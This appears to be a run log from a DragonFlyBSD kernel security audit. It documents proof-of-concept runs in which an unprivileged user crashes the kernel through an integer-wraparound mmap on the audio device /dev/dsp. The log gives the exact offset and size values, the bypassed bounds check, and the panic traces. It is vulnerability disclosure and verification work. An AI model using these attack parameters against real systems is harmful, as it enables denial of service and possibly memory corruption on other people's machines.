โฌข DragonFlyBSD Kernel Audit
DF-3879 / run.log
โ† back to finding โ†“ download raw
DF-3879 kernel-path runs โ€” audio-enabled guest (QEMU intel-hda + hda-duplex, snd_hda.ko)
Guest: DragonFly 6.5-DEVELOPMENT #0 (X86_64_GENERIC, options INVARIANTS), stock kernel.
Attacker context: unprivileged user `maxx` (uid=1001) via vm.sh run_user.
Audio: pcm0 (QEMU hda-duplex codec 0x1af40022) โ€” /dev/dsp, /dev/dsp0 are 0666 root:wheel.

RUN 1 (variant A first attempt โ€” unprepared channel, of=0xFFFFFFFF00000000 sz=4GiB):
  $ /tmp/mmap_alias_rw            (as maxx)
  ssh session returned nothing (guest panicked *inside* the mmap(2) syscall โ€”
  the old-style device pager ctor validates every page via dev_dmmap ->
  dsp_mmap -> vtophys -> pmap_kextract, which faulted on a garbage PDE);
  process stdout lost to stdio buffering on the killed session.
  Serial console (boot.log):
    Fatal user address access from kernel mode from mmap_alias_rw at ffffffff80c0cdc6
    Fatal trap 12: page fault while in kernel mode
    fault virtual address = 0xffff80403e005000     (DMAP read of a garbage
                                                     PDE target, phys ~275GB)
    fault code = supervisor read data, page not present
    Stopped at pmap_kextract.part.23+0x16: movq (%rax,%rdx,1),%rdx
  -> full text in panic.pmap.txt. Note: no INVARIANTS/KASSERT machinery is
     involved in this path โ€” identical behavior on production (non-INVARIANTS)
     builds. The wild offset reached the device pager: check at dsp.c:2342 was
     bypassed (sum wrapped to 0 <= bufsize).

RUN 2 (variant A second attempt โ€” with OSS SETFMT/CHANNELS/SPEED + GETOSPACE
  preparation so bufsoft is allocated): identical panic, identical fault VA
  0xffff80403e005000 โ€” the 4GiB ctor walk is guaranteed to run off the end of
  mapped KVA, so a size=2^32 attack shape always dies in pmap_kextract during
  the mmap syscall. (Deterministic across boots: phys page 0 content is
  boot-identical.) See VERDICT.md "attack geometry".

RUN 3 (variant B โ€” the original PoC /tmp/mmap_ofs: of=0xffffffff10000000 sz=0xf0000000,
  attacker-chosen ofs=0x10000000 >= bufsize):
  $ /tmp/mmap_ofs                 (as maxx)
  ssh session returned nothing (kernel panicked synchronously in the mmap
  syscall; see panic.txt). Serial console:
    panic: sndbuf_getbufofs: ofs invalid 268435456
    Trace beginning at frame 0xfffff801182494e8
    sndbuf_getbufofs() at sndbuf_getbufofs+0x2b
    dsp_mmap_single() at dsp_mmap_single+0x149
    dev_dmmap_single() at dev_dmmap_single+0x5e
    vm_mmap() at vm_mmap+0x6d8
    kern_mmap() at kern_mmap+0x378
  268435456 = 0x10000000 = EXACTLY the ofs the PoC selects by wrapping
  (*offset + size) around 2^64. The full chain from the finding executed:
  kern_mmap -> vm_mmap -> dev_dmmap_single -> dsp_mmap_single(bypassed
  dsp.c:2342) -> sndbuf_getbufofs (u32 truncation, buffer.c:424) -> KASSERT.
  -> full text in panic.txt. Deterministic INVARIANTS-kernel local DoS by an
     unprivileged user; on non-INVARIANTS kernels the same call proceeds to
     dev_pager_alloc with the wild pointer (see RUN 1 for that sink live).